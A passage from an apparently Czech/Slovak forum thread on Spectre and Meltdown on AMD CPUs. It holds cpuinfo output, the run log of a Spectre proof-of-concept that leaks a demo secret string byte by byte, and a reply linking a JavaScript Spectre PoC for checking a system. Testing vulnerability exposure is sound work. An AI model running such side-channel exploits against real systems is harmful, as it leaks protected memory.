    bugs		: fxsave_leak sysret_ss_attrs null_seg
    bogomips	: 3593.41
    TLB size	: 1024 4K pages
    clflush size	: 64
    cache_alignment	: 64
    address sizes	: 40 bits physical, 48 bits virtual
    power management: ts ttp tm 100mhzsteps hwpstate acc_power [13]
    
    Reading 40 bytes:
    Reading at malicious_x = 0xffffffffffdfec20... Success: 0x54=’T’ score=2 
    Reading at malicious_x = 0xffffffffffdfec21... Success: 0x68=’h’ score=2 
    Reading at malicious_x = 0xffffffffffdfec22... Success: 0x65=’e’ score=2 
    Reading at malicious_x = 0xffffffffffdfec23... Success: 0x20=’ ’ score=2 
    Reading at malicious_x = 0xffffffffffdfec24... Success: 0x4D=’M’ score=2 
    Reading at malicious_x = 0xffffffffffdfec25... Success: 0x61=’a’ score=2 
    Reading at malicious_x = 0xffffffffffdfec26... Success: 0x67=’g’ score=2 
    Reading at malicious_x = 0xffffffffffdfec27... Success: 0x69=’i’ score=2 
    Reading at malicious_x = 0xffffffffffdfec28... Success: 0x63=’c’ score=2 
    Reading at malicious_x = 0xffffffffffdfec29... Success: 0x20=’ ’ score=2 
    Reading at malicious_x = 0xffffffffffdfec2a... Success: 0x57=’W’ score=2 
    Reading at malicious_x = 0xffffffffffdfec2b... Success: 0x6F=’o’ score=2 
    Reading at malicious_x = 0xffffffffffdfec2c... Success: 0x72=’r’ score=2 
    Reading at malicious_x = 0xffffffffffdfec2d... Success: 0x64=’d’ score=2 
    Reading at malicious_x = 0xffffffffffdfec2e... Success: 0x73=’s’ score=2 
    Reading at malicious_x = 0xffffffffffdfec2f... Success: 0x20=’ ’ score=2 
    Reading at malicious_x = 0xffffffffffdfec30... Success: 0x61=’a’ score=2 
    Reading at malicious_x = 0xffffffffffdfec31... Success: 0x72=’r’ score=2 
    Reading at malicious_x = 0xffffffffffdfec32... Success: 0x65=’e’ score=2 
    Reading at malicious_x = 0xffffffffffdfec33... Success: 0x20=’ ’ score=2 
    Reading at malicious_x = 0xffffffffffdfec34... Success: 0x53=’S’ score=2 
    Reading at malicious_x = 0xffffffffffdfec35... Success: 0x71=’q’ score=2 
    Reading at malicious_x = 0xffffffffffdfec36... Success: 0x75=’u’ score=2 
    Reading at malicious_x = 0xffffffffffdfec37... Success: 0x65=’e’ score=2 
    Reading at malicious_x = 0xffffffffffdfec38... Success: 0x61=’a’ score=2 
    Reading at malicious_x = 0xffffffffffdfec39... Success: 0x6D=’m’ score=2 
    Reading at malicious_x = 0xffffffffffdfec3a... Success: 0x69=’i’ score=2 
    Reading at malicious_x = 0xffffffffffdfec3b... Success: 0x73=’s’ score=2 
    Reading at malicious_x = 0xffffffffffdfec3c... Success: 0x68=’h’ score=2 
    Reading at malicious_x = 0xffffffffffdfec3d... Success: 0x20=’ ’ score=2 
    Reading at malicious_x = 0xffffffffffdfec3e... Success: 0x4F=’O’ score=2 
    Reading at malicious_x = 0xffffffffffdfec3f... Success: 0x73=’s’ score=2 
    Reading at malicious_x = 0xffffffffffdfec40... Success: 0x73=’s’ score=2 
    Reading at malicious_x = 0xffffffffffdfec41... Success: 0x69=’i’ score=2 
    Reading at malicious_x = 0xffffffffffdfec42... Success: 0x66=’f’ score=2 
    Reading at malicious_x = 0xffffffffffdfec43... Success: 0x72=’r’ score=2 
    Reading at malicious_x = 0xffffffffffdfec44... Success: 0x61=’a’ score=2 
    Reading at malicious_x = 0xffffffffffdfec45... Success: 0x67=’g’ score=2 
    Reading at malicious_x = 0xffffffffffdfec46... Success: 0x65=’e’ score=2 
    Reading at malicious_x = 0xffffffffffdfec47... Success: 0x2E=’.’ score=2 
    
    
    10.1. 07:54 sk7
    Rozbalit Rozbalit vše Re: Spectre a Meltdown na AMD
    Tu je zdrojak javascriptu.Mozes skontolovat co ten web robi. Je pravda ze mi kontrola fungovala len v Chrome :
    https://github.com/cgvwzq/spectre/blob/master/spectre.js

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